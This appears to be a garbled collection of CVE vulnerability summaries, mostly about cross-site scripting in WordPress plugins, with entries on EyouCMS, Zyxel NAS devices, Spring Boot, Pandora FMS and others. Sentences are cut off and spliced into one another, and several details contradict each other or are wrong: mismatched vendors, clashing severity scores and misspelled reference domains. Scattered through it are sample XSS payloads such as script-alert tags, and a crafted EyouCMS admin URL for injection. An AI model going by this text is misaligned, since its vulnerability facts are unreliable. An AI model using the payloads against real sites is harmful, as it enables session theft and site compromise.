ot code in the website's database through a vulnerable input field or form in the Parallax Image plugin

in malicious JavaScript into a section of the Parallax Image plugin that does not properly escape or sani

provided by the software's maintainers or security research community: <https://patchstack.com/databa>

f the query.

d in the initial information, users should check the provided reference link for any available patches or

During Web Page Generation ('Cross-site Scripting') type, identified in Akhtarujjaman Shuvo's Bootstr

, is affected by CVE-2023-47851.

1 are vulnerable to CVE-2023-47851.

rated by the vulnerable versions of the Bootstrap Shortcodes Ultimate plugin. When these pages are v

in a post or page that uses the Bootstrap Shortcodes Ultimate plugin to generate content. For instanc

<https://patchstack.com/database/vulnerability/bs-shortcode-ultimate/wordpress-bootstrap-shortcodes-u>

1 should immediately update to the latest version that includes a fix for this vulnerability. If no fix is av

ugin is CVE-2023-47850.

on ('Cross-site Scripting') vulnerability, also known as a Stored XSS vulnerability.

etwork, Membership, Registration, User Profiles WordPress plugin.

### 5.2.2.0.

This could lead to unauthorized access, data theft, or manipulation of data on the website that uses the vulnerable code.

<https://stack.com/database/vulnerability/peepso-core/wordpress-community-by-peepso-plugin-6-2-2-0-cross-site-scripting/>fting a malicious payload that is saved on the server through the PeepSo Community plugin. When assessing the severity of a vulnerability, levels such as 'Critical,' 'High,' 'Medium,' 'Low,' or 'Informational' are often determined by assessing the impact and ease of exploitation.

During Web Page Generation, commonly known as 'Cross-site Scripting (XSS).' Specifically, it is stored in the database. This vulnerability was found in versions prior to 8.1.2, and Automattic WooCommerce Blocks, from versions prior to 11.1.2.

litory JavaScript code in the context of the user's browser, which could lead to actions such as stealing

sory websites, including Patchstack. Direct links to articles and databases discussing this vulnerability are available or a comment on a WooCommerce-based e-commerce site that includes malicious JavaScript code to submit crafted input to the WooCommerce or WooCommerce Blocks plugin through a web interface on WordPress. The issue relates to an Improper Neutralization of Input During Web Page Generation, commonly affected by the vulnerability identified as CVE-2023-47505.

t is improperly neutralized by Elementor when generating a web page. When the page is viewed by other users or attackers to perform actions on a website as if they were the victim, accessing sensitive information containing malicious scripts on a website that uses the affected versions of Elementor, sending emails to `mailto://patchstack.com/articles/arbitrary-attachment-render-to-xss-in-elementor-plugin?_s_id=cve` and 'the latest version of the plugin as soon as possible. It's important to keep all web applications and plugins up to date, as 'Improper Neutralization of Input During Web Page Generation' which affects the Automatic Jetpack feature was fixed in version 12.8-a.1.

ed, & Growth, which is a widely used plugin for WordPress sites.

[https://patchstack.com/articles/authenticated-stored-xss-in-woocommerce-and-jetpack-plugin?\\_s\\_id=1](https://patchstack.com/articles/authenticated-stored-xss-in-woocommerce-and-jetpack-plugin?_s_id=1) user sessions, stealing of sensitive data, and the ability to perform actions on behalf of users, potentially by inserting malicious JavaScript into a page generated by the Jetpack plugin. For example, the score is 10. Typically, this score indicates the severity of the vulnerability, but the lack of an assigned score suggests it is a Long Form WordPress plugin. It is described as an 'Improper Neutralization of Input During Web Page Generation' including version 2.2.2.

the affected website when viewed by a user. This could lead to a range of malicious activities, such as en information, but it is common practice for developers to release updates to address vulnerabilities bmitting a form on the vulnerable website with malicious JavaScript code. If the form input is not prop riginal information: <https://patchstack.com/database/vulnerability/simple-long-form/wordpress-simp> of Input During Web Page Generation, more commonly known as 'Cross-site Scripting' (XSS), in the Sim nttext of the victim's browser session. This occurs when input provided to the Simply Exclude plugin is i (XSS) attacks. In such attacks, malicious scripts are injected through URLs, which are then reflected off ally include malicious script within its parameters. For example, an attacker might craft a URL like 'http rity scores are typically provided by CVSS (Common Vulnerability Scoring System) and are useful in as: tps://patchstack.com/database/vulnerability/simply-exclude/wordpress-simply-exclude-plugin-2-0-6- 6. Users with these versions installed should consider updating to a patched version if available, or tak e vulnerability became broadly available to the public, which typically includes information about the r of Input During Web Page Generation, commonly known as Stored Cross-site Scripting (XSS). This vuln able or not applicable) up to version 3.2.7.

cker to perform Stored Cross-site Scripting (XSS) attacks. This could lead to a range of malicious activiti

the provided URL: <https://patchstack.com/database/vulnerability/tripay-payment-gateway/wordpress-xss/>. An attacker can input or creating a malicious link that contains a script tag or encoded JavaScript code. When this input is payload and inject it into the payment gateway's web pages through forms or other inputs that accept

on, commonly known as a Stored Cross-site Scripting (XSS) vulnerability, in the cybernetikz Easy Social Icons plugin up to and including version 3.2.4.

tabase at the provided URL: <https://patchstack.com/database/vulnerability/easy-social-icons/wordpress-xss/>. An attacker can craft through vulnerable fields in the Easy Social Icons plugin, where input is not properly sanitized. When this exploit exists in the web server of the Zyxel NAS326 firmware version V5.21(AAZF.14)C0 and NAS542 firm attached storage (NAS) devices, specifically those running firmware version V5.21(AAZF.14)C0 for NAS. This vulnerability. By crafting a malicious URL and sending it to the vulnerable web server, an unauthenticated user can

ferences are:-  
1. Bugprove's knowledge hub article detailing CVE-2023-4473 and CVE-2023-4474 vulnerabilities. Both vulnerabilities allow shell commands to be executed through query parameters or path of the URL, such as 'http://vulnerable-nas-device.com'. This leads to unauthorized access to the system, manipulation or theft of sensitive data, installation of malicious software, and more. A severity assessment such as the CVSS (Common Vulnerability Scoring System) score would help stakeholders prioritize the risk.

Vileged OS user to create arbitrary JSP files in a Tomcat web application directory on a Windows host, which runs under the security context of SYSTEM.

EAR Security Advisory: <https://kb.netgear.com/000065885/Security-Advisory-for-Vertical-Privilege-Escalation>

This host where NETGEAR ProSAFE Network Management System is installed crafting and placing a malicious file. A stored Cross-Site Scripting (XSS) attack could be perpetuated through SVG files by a user with access to the system. An attacker would need to upload a malicious SVG file containing script tags. It is strongly encouraged to update to this version or later to mitigate the security risk associated with this vulnerability. Actions to be performed on their behalf, such as data theft, account takeover, and the spreading of malware. The advisory on GitHub and the associated commit that resolved the issue. The references include:- <https://github.com/NETGEAR/ProSAFE-NMS/pull/100>. This type of attack occurs when an attacker can inject malicious scripts into content that is saved by the victim. It is limited to, unauthorized access to user sessions, modification of web page content, phishing attacks, and more. EyouCMS version 1.6.4-UTF8-SP1, which enables attackers to execute arbitrary web scripts or HTML by injecting a crafted payload into the Document Properties field accessible at [/login.php?m=admin&c=Index&a=changeTableVal&\\_a=1&table=1&id=1&value=1&submit=Update](http://192.168.1.100/login.php?m=admin&c=Index&a=changeTableVal&_a=1&table=1&id=1&value=1&submit=Update).

authorized access to user sessions, the manipulation of web page content, and the theft of sensitive information. The issue was fixed in version 1.6.4-UTF8-SP1.

The issue tracker on GitHub at the following URL: <https://github.com/weng-xianhu/eyoucms/issues/54>.

Code example: ``<script>alert('XSS');</script>`` The attacker would inject this payload into the Document Properties field of the EyouCMS configuration page. To fix this vulnerability, ensure that input is properly sanitized to prevent script execution.

istrator accounts by capturing session cookies after an admin's browser executes the XSS payload, def-  
MS version 1.6.4-UTF8-SP1. This security flaw enables attackers to execute arbitrary web scripts or HTI  
itle when adding an article type in the administrative panel of EyouCMS (/login.php?m=admin&c=File  
ould look for security updates or patches that address this vulnerability.

provided by the developers of EyouCMS. Moreover, it is important to validate and sanitize user inputs in EyouCMS at the following link: <https://github.com/weng-xianhu/eyoucms/issues/53>. This link is expected to show that the malicious scripts are stored and then executed for every user who accesses the compromised site. It is not uncommon for newly disclosed vulnerabilities to have a Base Score assigned at a later date as more information is gathered. It is recommended that users of EyouCMS take immediate actions to assess and protect their environments against this vulnerability.

Version 1.6.4-UTF8-SP1.

attackers to execute arbitrary web scripts or HTML. Attackers can exploit this vulnerability by injecting

e GitHub issue tracker at <https://github.com/weng-xianhu/eyoucms/issues/52>.

ript into the Menu Name field, which is then stored in the database. When an administrator or user views a page containing the exploit, the file is executed as a shell script. This is a critical vulnerability, as it allows an attacker to execute arbitrary code on the server.

This vulnerability is particularly dangerous because it can be exploited via a simple file upload. It is a classic example of a Content-Type bypass vulnerability, where an attacker uploads a file with a different Content-Type header than what is allowed by the application's configuration. In this case, the application is configured to accept only certain file types, such as PDF or CSV. By setting the Content-Type header to "application/x-sh" and uploading a shell script, the attacker can bypass the Content-Type allowlist and execute arbitrary code.

It is recommended that users of the affected version of the application patch the vulnerability as soon as possible. A fix has been released, and users are advised to upgrade to version 2.2.5 or 3.0.5, in which the vulnerability has been patched.

s of CarrierWave, which are version 2.2.5 or 3.0.5. These versions contain the necessary fixes that add resources: the commits on GitHub that address the issue (39b282db5c1303899b3d3381ce8a837840f98 file that has an acceptable MIME type as part of its content type, but which also contains a script or marker for XSS attacks, which can compromise the security of users visiting a site that uses a vulnerable v

s is typically provided in the Common Vulnerability Scoring System (CVSS) and is used to rate the sever  
Google Chrome prior to version 119.0.6045.199. It involves a 'use after free' issue which could allow a re  
to 119.0.6045.199. Users are recommended to update to version 119.0.6045.199 or later to mitigate t  
rafted HTML web page that exploits the 'use after free' vulnerability in the WebAudio component of a  
lnerability can have a significant impact on the confidentiality, integrity, or availability of the affected :  
official Google Chrome Release Blog and security advisories from distributions like Fedora and Debian  
an authenticated user to potentially execute arbitrary code. Specifically, in ActiveMQ configurations v  
to execute arbitrary code on the server running Jolokia as part of ActiveMQ. An attack scenario could  
Jolokia by configuring it to be more restrictive by default or outright disabling Jolokia if it's not needed  
78 description. However, a notional example would involve exploiting the JMX interface via HTTP POS  
us security advisories and bulletins. The references include an Openwall mailing list entry (<http://www>

s the device administrator user profile to store and execute malicious scripts in certain fields of the GL

iorized access and data leakage. An attacker could exploit this vulnerability by storing a malicious script

s://www.idemia.com/vulnerability-information.

ce administrator account entering a malicious script into vulnerable input fields in the web interface of a device manufacturer that address the vulnerability. In general, the mitigation involves implementing 7.3.0.0-3.0.12, and 3.1.0-3.1.5. It allows a user to provide specially crafted HTTP requests that may cause

ubmit specially crafted HTTP requests to applications using certain versions of Spring Boot.

<https://spring.io/security/cve-2023-34055>.

The application utilizes Spring MVC or Spring WebFlux, and the 'spring-boot-actuator' is included in the dependency. A typical DoS attack scenario could involve an attacker sending multiple specially crafted HTTP requests to the actuator endpoint to overwhelm the monitor and manage applications. It includes capabilities like health checks, metrics gathering, and

re a user can send specially crafted HTTP requests to cause a denial-of-service (DoS) condition. The vulnerability, located in the 'io.micrometer:micrometer-core' library on its classpath, and an ObservationFunction interface.

<https://security.netapp.com/advisory/ntap-20231214-0007/> and <https://spring.io/security/cve-2023-34053>.

ilicious HTTP requests designed to exploit the vulnerability in an application that meets the specific conditions including version 1.11.24. It involves an unrestricted file upload flaw found within the big file upload functionality of Chamilo LMS. Since the upload is unrestricted, it can be done without restrictions. A script that is stored on the server and executed when other users access it. Additionally, it can lead to remote code execution on the server. To remediate this vulnerability, use the commit that addressed the issue in the Chamilo LMS GitHub repository, consult the advisory by Starlancer Software, or refer to the Chamilo LMS security issues documentation. However, the Base Score for CVSS (Common Vulnerability Scoring System) is 7.5. This is due to the fact that the vulnerability is a Stored Cross-Site Scripting (XSS) issue that exists in the website's database through the 'su\_meta' shortcode. When this injected script is executed, it will be rendered on the page and including version 5.13.3.

Contributor-level access or higher to a WordPress website using a vulnerable version of the Shortcodes Ultimate plugin for WordPress. The vulnerability is a Stored Cross-Site Scripting (XSS) issue that exists in the website's database through the 'su\_meta' shortcode. When this injected script is executed, it will be rendered on the page and including version 5.13.3.

repository on the WordPress platform. The URLs provided in the references include viewing the source code of the plugin, which affects the customer portal and non-authenticated visitor website base features. Specifically, it was found in the OroCommerce software. Users are advised to update to these versions or later to mitigate the vulnerability.

age of OroCommerce at the following URL: <https://github.com/oroinc/orocommerce/security/advisories/CVE-2023-5650>. This vulnerability could allow unauthorized back-office users to access restricted information within the application to gain access to information they are not authorized to view. Since the vulnerability was introduced in version 5.13.3, the latest version available is 5.13.3.

Zyxel FLEX series, USG FLEX 50(W) series, USG20(W)-VPN series, and the VPN series.

2 to 5.37.

allowing them to modify the URL of the registration page in the web GUI of an affected device.

site: <https://www.zyxel.com/global/en/support/security-advisories/zyxel-security-advisory-for-multiple-products>.

has gained access to a user account on the affected Zyxel device could exploit this vulnerability by modifying the URL of the registration page in the web GUI of an affected device.

sitive information through a crafted script.

application.

provided, typically such an injection could look like entering a crafted SQL statement into a web form to add a base score.

`'https://gist.github.com/Chiaki2333/f09b47a39e175932d8a2360e439194d5', 'https://github.com/32ns/1 depending on the database contents, which could include user credentials, personal data, confidential : to the web/user.php component of the vulnerable application. The crafted query would bypass authen`

↳ plugin options, leading to Stored XSS attacks.

4.35.0.

ions, some of which may be exploited to conduct Stored Cross-Site Scripting (XSS) attacks. This could result in sensitive information being displayed to other users.

<https://wpscan.com/vulnerability/a03330c2-3ae0-404d-a114-33b18cc47666>

It utilizes the vulnerability to modify the plugin options to include malicious JavaScript code. When this plugin is not provided, a general Stored XSS attack might involve an attacker injecting something like

neckmk Appliance.

rieve sensitive information, such as passwords.

<http://checkmk.com/werk/9554>

ess to the file system on a server running a vulnerable version of Tribe29 Checkmk Appliance. The attack leverages a known vulnerability in the Tribe29 Checkmk Appliance to version 1.6.8 or later, which contains the necessary patches to prevent self-exploitation. This vulnerability arises because Mattermost incorrectly uses methods to set the channel name during the registration process.

el name within the Mattermost web application that contains valid HTML. This could potentially mani  
base score is typically assigned by the Common Vulnerability Scoring System (CVSS) and helps to indica  
5 report, which is '<https://mattermost.com/security-updates>', to learn about patches or mitigations th  
er could potentially exploit the vulnerability by creating a channel whose name includes HTML tags or  
e an attacker convinces a victim to interact with a specially crafted channel name containing HTML cod  
google-translate-api-browser` npm package, which interacts with the Google Translate web API. An at  
ne `tld` to a malicious payload like `@127.0.0.1`. This causes the crafted URL to target localhost or inter  
im local or internal network services, interacting with and exploiting vulnerabilities of HTTP services th  
f the `google-translate-api-browser` package. Users are advised to upgrade to this version or later to n  
intended course of action is to update the `google-translate-api-browser` package to version 4.1.3 or late  
vulnerability has not been provided. For more technical details and the patch, one can refer to the Gith  
rity advisory and the commit that addresses the issue. Here are the references:- <https://github.com/cj>  
e an Unauthorized Actor' found in Apache DolphinScheduler. It allows sensitive data such as database c

ing 3.0.2.

The environment variable `MANAGEMENT\_ENDPOINTS\_WEB\_EXPOSURE\_INCLUDE=health,metrics,prom` Scheduler to version 3.0.2, which contains the fix for this vulnerability.

ed access to the Apache DolphinScheduler's sensitive endpoints and extracting information like database. openwall.com/lists/oss-security/2023/11/24/1- https://lists.apache.org/thread/ffrmkcg2lcz0f5nnr nt of the Glewlwyd SSO server. Specifically, it involves a possible buffer overflow that can occur during se older versions are vulnerable to the reported buffer overflow during FIDO2 credentials validation in vyd SSO server version 2.7.6 or later. This version includes a fix for the buffer overflow vulnerability as 3-49208, it could lead to various adverse effects including but not limited to: execution of arbitrary cod concept or code example are not provided in the shared information. However, users and developers credential that when processed by the server triggers the buffer overflow, potentially giving the attack pository, specifically through the commit that addressed the vulnerability (https://github.com/babelo ut During Web Page Generation' or more commonly known as a Cross-site Scripting (XSS) issue. It was lution for networks and IT infrastructure.

CVE-2023-41811.

Inproper neutralization of user input in web pages generated by a server.

In the news section of the web console in Pandora FMS. When other users view the compromised news tation is updated to a version that addresses this vulnerability. It is also advisable to follow best practice security page at the following URL: https://pandorafms.com/en/security/common-vulnerabilities-and-exploits/ 'proper Neutralization of Input During Web Page Generation' or, more commonly known as, a Cross-site Scripting issue. In some versions, it's essential to consider updating or applying security patches to mitigate the potential exploit. By injecting it into some Widgets' text boxes on a vulnerable Pandora FMS installation. If this input is not properly neutralized, it can lead to stealing sensitive information (like cookies or session tokens), defacing the web application, carrying out of Pandora FMS are advised to address the issue as soon as possible to ensure their systems are secure, particularly in their security advisories section. The URL for direct reference to this vulnerability is: https://pandorafms.com/en/security/common-vulnerabilities-and-exploits/ The severity of the vulnerability is often determined by such a score when available. In the absence of a Baseline leveraging CVE-2023-41810 might look like this: A user enters a script tag with malicious JavaScript into 'proper Neutralization of Input During Web Page Generation' also known as a Cross-site Scripting (XSS) flaw. This vulnerability was fixed in version 3.0.2, which provides a solution for IT infrastructure management including networks, servers, applications, and communication

ow privileges to inject malicious JavaScript code via translation strings into web pages.

at the following URL: https://pandorafms.com/en/security/common-vulnerabilities-and-exploits/

ed information.

FMS system crafting a translation string containing malicious JavaScript. When another user views a page on the Pandora FMS platform's source code, generally, an example of a Cross-site Scripting attack might look like this: 'proper Neutralization of Input During Web Page Generation', commonly known as Cross-site Scripting (XSS).

Web Page Generation, which is categorized as Cross-site Scripting (XSS).

ain unauthorized access to a user's session. The attacker could then impersonate the user and perform .789.

Attack might involve an attacker embedding malicious JavaScript code into a web page via a vulnerable security section, specifically at <https://pandorafms.com/en/security/common-vulnerabilities-and-exploits/>. Exploiting malicious scripts into a Pandora FMS web page, which, when executed by another user, could lead to Software. It involves Improper Neutralization of Input During Web Page Generation, which is also known as an 'Improper Neutralization of Input During Web Page Generation'.

Vulnerability is categorized as an 'Improper Neutralization of Input During Web Page Generation' and can be exploited. The vendor was contacted about the disclosure of CVE-2023-4406 but did not respond in any way. This implies that the vulnerability can be exploited in the context of the user's browser session on the affected KC Group E-Commerce Software. This can result in a malicious URL containing JavaScript code and convinces a victim to click on it. For example, the URL provided in the CVE details, such as the one from the USOM (Ulusal Siber Olaylara Müdahale Merkezi) at 'https://www.usom.gov.tr/.../.../...', contains a malicious URL that triggers a buffer overflow in the web browser plug-in. It poses a risk as it could allow attackers to send specially crafted messages to control the victim's buffer. This can occur when the plug-in processes unexpected or malicious input without proper validation. This means that an attacker could potentially take control of the affected machine, access sensitive information, and exfiltrate data.

Another provided reference link from the advisory, such as the one from Hikvision's official cybersecurity support page, lists the vulnerability in the CVE repository or security advisories. For instance, Hikvision's cybersecurity support page has a reference to a vulnerability in their Product Catalog Plugin for WordPress, specifically versions up to and including 3.3.26. This vulnerability is categorized as an 'Improper Neutralization of Input During Web Page Generation' vulnerability, more commonly known as a Cross-site Scripting (XSS) vulnerability.

CVE-2023-47839.

Products including 3.3.26 are vulnerable to CVE-2023-47839.

Reference URL: <https://patchstack.com/database/vulnerability/ecommerce-product-catalog/wordpress-ecommerce-xss-vulnerability/>.  
The XSS vulnerability is caused by crafting malicious input, such as a script, that the plugin fails to properly neutralize.

An example of a vulnerable PHP code snippet might look like this: ````php<?php // A generic example where user input is CVE-2023-47835.

This vulnerability, commonly known as a Cross-site Scripting (XSS) vulnerability, is present in the ARI Stream Quiz WordPress plugin that are 1.2.32 or earlier.

Following URL: <https://patchstack.com/database/vulnerability/ari-stream-quiz/wordpress-ari-stream-quiz-xss-vulnerability/>.  
The XSS vulnerability is caused by crafting malicious input, such as a script, that the plugin fails to properly neutralize.

This vulnerability is commonly known as Cross-site Scripting (XSS). This specific issue was found in the ARI Stream Quiz WordPress plugin that are 1.2.32 or earlier.

3.

Reference URL: <https://patchstack.com/database/vulnerability/quiz-master-next/wordpress-quiz-and-survey-master-plugin-8-1-13-xss-vulnerability/>.  
The XSS vulnerability is caused by injecting malicious scripts into the web pages generated by the vulnerable plugin. This can lead to various impacts. It could lead to unauthorized access to user sessions, theft of cookies or other sensitive information.

CVE-2023-47834 are those up to and including 8.1.13.

This vulnerability is present in the Quiz and Survey Master WordPress plugin versions up to and including 0.18.3. This vulnerability is a type of Cross-site Scripting (XSS) vulnerability.

This vulnerability is caused by injecting malicious scripts into web pages viewed by other users.

generated by the vulnerable WordPress plugin. When other users visit these compromised pages, they can submit a comment or form with a malicious JavaScript payload as a parameter. For instance, they could submit a comment or form with the URL <http://example.com/vulnerability/theatre/wordpress-theater-for-wordpress-plugin-0-18-3-cross-site-scripting-xss-vulnerability>.

ed[**chips**], specifically in versions up to and including 1.1.3. This issue is categorized as an XSS (cross-site scripting) vulnerability. The plugin has a score of 6.1, which corresponds to a medium severity level. This score is based on the fact that the vulnerability can be exploited via user input, and it is present in multiple versions of the plugin. It is recommended for users to keep their installations up-to-date with the latest patches or updates.

[https://www.exploit-db.com/wp-content/themes/exploit/vulnerability/drawit/wordpress-drawit-draw-io-plugin-1-1-3-cross-site-scripting-xss-vulnerability?\\_v=1](https://www.exploit-db.com/wp-content/themes/exploit/vulnerability/drawit/wordpress-drawit-draw-io-plugin-1-1-3-cross-site-scripting-xss-vulnerability?_v=1)

This vulnerability allows an attacker to execute malicious scripts in the context of the victim's browser. This could result in actions being performed by the victim without their knowledge, such as stealing sensitive information or redirecting them to malicious websites.

To mitigate this issue, it is recommended to update the DrawIt (draw.io) plugin to a version that has addressed this XSS issue, if available. If the plugin is not updated, users should be cautious when interacting with websites that use the plugin, as they may be at risk of being exploited.

all Button plugin.

lation.

↳ this URL: <https://patchstack.com/database/vulnerability/quick-call-button/wordpress-quick-call-button/>  
malicious script and embedding it into the web page rendered by the vulnerable Quick Call Button plugin scripts into content from otherwise trusted websites. CVE-2023-47829 involves improper neutralization of input when outputting to the browser. It is recommended that users of the Quick Call Button plugin should update to a version that is patched against the vulnerability as soon as it becomes available. A similar issue was found in the 'Quick Call Button' plugin, which uses a different encoder. The 'Quick Call Button' plugin is a plugin for WordPress. Specifically, it is an 'Improper Neutralization of Input During Web Page Generation' vulnerability. This vulnerability can be exploited by injecting malicious code into the website's content. The impact of this vulnerability is that it can allow attackers to execute arbitrary code on the website, leading to potential data theft or site compromise. The severity of this vulnerability is high, as it can lead to significant damage to the website and its users. It is important for website owners to keep their plugins up-to-date to prevent such vulnerabilities.

s 2.1.8 and below.

web pages generated by the vulnerable plugin. For example, they could submit a form with a crafted .  
provided: [Patchstack's Vulnerability Database](https://patchstack.com/database/vulnerability/email-en  
-2023-47817.

on', commonly known as a Cross-site Scripting (XSS) vulnerability, which was identified in versions of the script code in the context of the user's browser. This could lead to various malicious activities such as stealing user information or performing unauthorized actions.

ick website, specifically at the provided reference URL: <https://patchstack.com/database/vulnerability-During-Web-Page-Generation>' type, commonly known as Cross-site Scripting (XSS), found in the CharityCare application fails to properly sanitize user input that is subsequently used in the generation of web pages.

onation Forms by the Charitable plugin, specifically versions up to and including 1.7.0.13.

es, including Patchstack: <https://patchstack.com/database/vulnerability/charitable/wordpress-charita>  
· is not readily available. This score would reflect the severity of the vulnerability.

containing script code and convincing a user to click on it. Upon clicking, the script executes within the browser neutralization of user-supplied input before it is placed in output that is used as web pages or for wordcodes Extra plugin. This plugin is used in WordPress websites, and versions up to and including 2.5.2 are affected.

Score is typically used to measure the severity of vulnerabilities, but not all entries might have a score. The issue was officially recognized and documented in the CVE database.

ck's website: <https://patchstack.com/database/vulnerability/bp-profile-shortcodes-extra/wordpress-b> hat includes an XSS payload targeting the BP Profile Shortcodes Extra plugin. When an unsuspecting user enters this URL, the plugin processes the input and generates the output, which is then displayed on the page. This can lead to various ethical and dangerous. However, a hypothetical simplified example of a cross-site scripting issue might occur if the plugin's code fails to properly validate or sanitize user input before generating the output. Such a vulnerability could allow an attacker to inject malicious JavaScript code into the user's profile page, which would then be executed in the user's browser, potentially stealing sensitive information or performing other malicious actions. This type of vulnerability is often referred to as 'Cross-Site Scripting (XSS)'.

avaScript code in the browsers of users visiting a web page where the vulnerable BMI Calculator Plugin is properly sanitized by the plugin. When this input is included in a web page and rendered, it could execute `<script>alert('XSS');</script>` where this code is somehow submitted through user input, such as a form field. JRL: <https://patchstack.com/database/vulnerability/bmi-calculator-shortcode/wordpress-bmi-calculator/>

✓E-2023-47813.

er Neutralization of Input During Web Page Generation' issue.

.8.1 and below.

the following URL: <https://patchstack.com/database/vulnerability/better-rss-widget/wordpress-better-rss-widget-cross-site-scripting-xss/>. This URL contains malicious JavaScript code and embedding it into the vulnerable webpage or a URL parameter that is interpreted as follows: `<script>alert('XSS');</script>`. If the Better RSS Widget plugin fails to sanitize user-supplied input properly, this scenario is known as 'User Input During Web Page Generation', better known as a 'Cross-site Scripting' or XSS vulnerability. It was discovered that the plugin has a vulnerability allowing attackers to inject malicious scripts into the content of feeds, specifically versions that are less than or equal to 1.6.1.

[watchstack.com/database/vulnerability/bamboo-columns/wordpress-bamboo-columns-plugin-1-6-1-critical-vulnerability/](http://watchstack.com/database/vulnerability/bamboo-columns/wordpress-bamboo-columns-plugin-1-6-1-critical-vulnerability/) the context of the victim's browser. This could lead to actions on behalf of the victim without their consent if the user input is not properly sanitized by the Bamboo Columns plugin. When other users view the content through

by Suresh KUMAR Mukhiya.

d including version 1.0.5.

[atchstack.com/database/vulnerability/anywhere-flash-embed/wordpress-anywhere-flash-embed-plugin-injects-malicious-javascript-code-into-the-plugins-output-by-submitting-it-through-an-input-mechanism](http://atchstack.com/database/vulnerability/anywhere-flash-embed/wordpress-anywhere-flash-embed-plugin-injects-malicious-javascript-code-into-the-plugins-output-by-submitting-it-through-an-input-mechanism/)

Delivering malicious scripts to the browser of an unsuspecting user who visits a compromised webpage

on', which is commonly known as a Cross-site Scripting (XSS) vulnerability.

XSS vulnerability referenced by CVE-2023-47810.

website at the following URL: <https://patchstack.com/database/vulnerability/ajax-domain-checker/>

script code and embedding it into user input fields within the Ajax Domain Checker plugin. When other

plugin versions up to and including 2.6. Specifically, it is an 'Improper Neutralization of Input During Web Page Generation' vulnerability, versions 2.6 and below.

classified as an 'Improper Neutralization of Input During Web Page Generation' issue. In the following URL: <https://patchstack.com/database/vulnerability/accordions-wp/wordpress-accordion> crafting a URL or a form submission that includes a script tag, like ''. If severe. It could compromise the data security of users by allowing unauthorized access to their information. 'Input During Web Page Generation', commonly known as Cross-site Scripting (XSS), found in the Christy. It may depend on various factors such as the complexity of exploitation, the potential impact on confidential

tack.com/database/vulnerability/add-widgets-to-page/wordpress-add-widgets-to-page-plugin-1-3-2-contains 1.3.2 and possibly below.

malicious JavaScript code into the plugin's vulnerable fields. For illustration, an attacker might craft a URL that contains a malicious script and serves it to a user. If the user visits the page, the browser will execute the script. You should first check if you are running a version affected by CVE-2023-47808 (<= 1.3.2). If so, you should update the plugin to a fixed version as soon as possible. This vulnerability can lead to various attacks on a website. Beyond running malicious scripts, an attacker could compromise user sessions, deface websites, or steal sensitive data. It is important to keep your WordPress, versions up to and including 7.7.9. This vulnerability is classified as an 'Improper Neutralization of Special Elements used in an SQL Construct'.

Specifically versions 7.7.9 and below. The LayerSlider plugin is a popular tool for creating responsive sliders or form input that contains a script tag with JavaScript payload. When an administrator or user accesses the LayerSlider plugin to the latest version that addresses this security issue. Plugin developers generally release patches at <https://patchstack.com/database/vulnerability/layerslider/wordpress-layerslider-plugin-7-7-9-cross-site>. The plugin versions up to and including 2.8.2, developed by YAS Global Team. This vulnerability is of the type XSS, which is commonly known as a Cross-site Scripting (XSS) vulnerability.

attackers to inject malicious scripts into web pages. These scripts can then be executed in the context of possibly earlier versions.

ed JavaScript code that is then passed to the web application. If this URL is visited by another user, the link containing malicious JavaScript to an unsuspecting user. When the user clicks the link, the script runs. A malicious URL exploiting CVE-2023-47773 could look something like '<http://example.com/page?param=1>', can be found at the provided reference URL: <https://patchstack.com/database/vulnerability/permissions/>

Putter plugin for WordPress, specifically in versions up to and including 1.17. This vulnerability is of the 'Cross-site Scripting' type, which is commonly referred to as Cross-site Scripting (XSS). This type of security vulnerability allows an attacker to inject malicious code into a web page, which is then executed by other users who visit the page.

WordPress. Specifically, the vulnerability exists in versions of the plugin that are 1.17 or lower. The URL is: <https://patchstack.com/database/vulnerability/footer-putter/wordpress-footer-putter-plugin-1-1/>. This exploit allows an attacker to inject a JavaScript payload that exploits the XSS vulnerability in the Footer Putter plugin. For instance, this could lead to session theft, website defacement, phishing attacks, and potentially delivering malware. The Base Score would typically come from the Common Vulnerability Scoring System (CVSS), which for this plugin is 7.7/10. The CVSS score is based on the fact that the Footer Putter plugin is a Map plugin for WordPress, affecting versions up to and including 3.2.0. It is an Improper Neutralization of Special Elements in an OS Command (cmd) Context via the %s Directive vulnerability.

WordPress up to and including version 3.2.0.

[patchstack.com/database/vulnerability/interactive-world-map/wordpress-interactive-world-map-plugin/](http://patchstack.com/database/vulnerability/interactive-world-map/wordpress-interactive-world-map-plugin/), a general example of reflected XSS might look like this: Suppose the plugin has a page that takes a UF

cious script to a victim. If the victim clicks on the link, the script would run in the context of the victim's browser who manages to inject malicious scripts into web pages viewed by other users. This can be done through Web Page Generation ('Cross-site Scripting') vulnerability that was found in the Post Status

including 1.11.0.

I7766.

JRL: <https://patchstack.com/database/vulnerability/post-status-notifier-lite/wordpress-post-status-notifier-malicious-script-injection>  
An attacker might craft a malicious URL with a script embedded in a parameter that's reflected back in the response. The version of WordPress affected is CVE-2023-6265.

versal vulnerability identified by CVE-2023-6265.

The mainfunction.cgi with a specially crafted 'option' parameter for the dumpSyslog feature, which was removed, is no longer supported as indicated by the notice provided in the references.

The web management interface of an unpatched and unsupported Draytek Vigor2960 router and using the linked in the references, which details the vulnerability discovered, and on Draytek's official site where versions 3.1.2 and below, specifically an 'Improper Neutralization of Input During Web Page Generation',

is 3.1.2 and below.

A typical URL: <https://patchstack.com/database/vulnerability/chaty/wordpress-chaty-plugin-3-1-2-cross-site-scripting> where user input is improperly sanitized and subsequently embedded into a webpage. Here's a simplified example: `<script>alert('XSS')</script>`. This can lead to various attacks such as cookies or session tokens manipulation, web content displayed to users, redirection control, containing harmful JavaScript code, and inducing a user to submit it through the vulnerable application.

This vulnerability is a Cross-site Scripting (XSS) issue. It allows attackers to inject malicious scripts into web pages viewed by other users. This concerns the AazzTech BusTicket plugin, specifically versions up to and including 5.2.5.

Upgrading to a version that addresses the XSS vulnerability. It is recommended for users to check if there is a fix available or if it is not available (N/A).

AazzTech BusTicket plugin: <https://patchstack.com/database/vulnerability/bus-ticket-booking-with-seat-reservation/wordpress-cross-site-scripting>  
An attacker can craft a malicious URL or form submission that includes a script tag or JavaScript code. When this input is not properly sanitized, it can be executed in the context of the user's browser, leading to various attacks such as session hijacking or stealing sensitive information like cookies or session tokens.

AazzTech WooCommerce Product Carousel Slider plugin: <https://patchstack.com/database/vulnerability/product-carousel-slider-for-woocommerce/wordpress-woocommerce-cross-site-scripting>  
An attacker can insert a malicious script into a web page that fails to properly neutralize user input, allowing them to perform actions like session hijacking. This is related to Incorrect Access Control, as it allows unauthorized access to sensitive information.

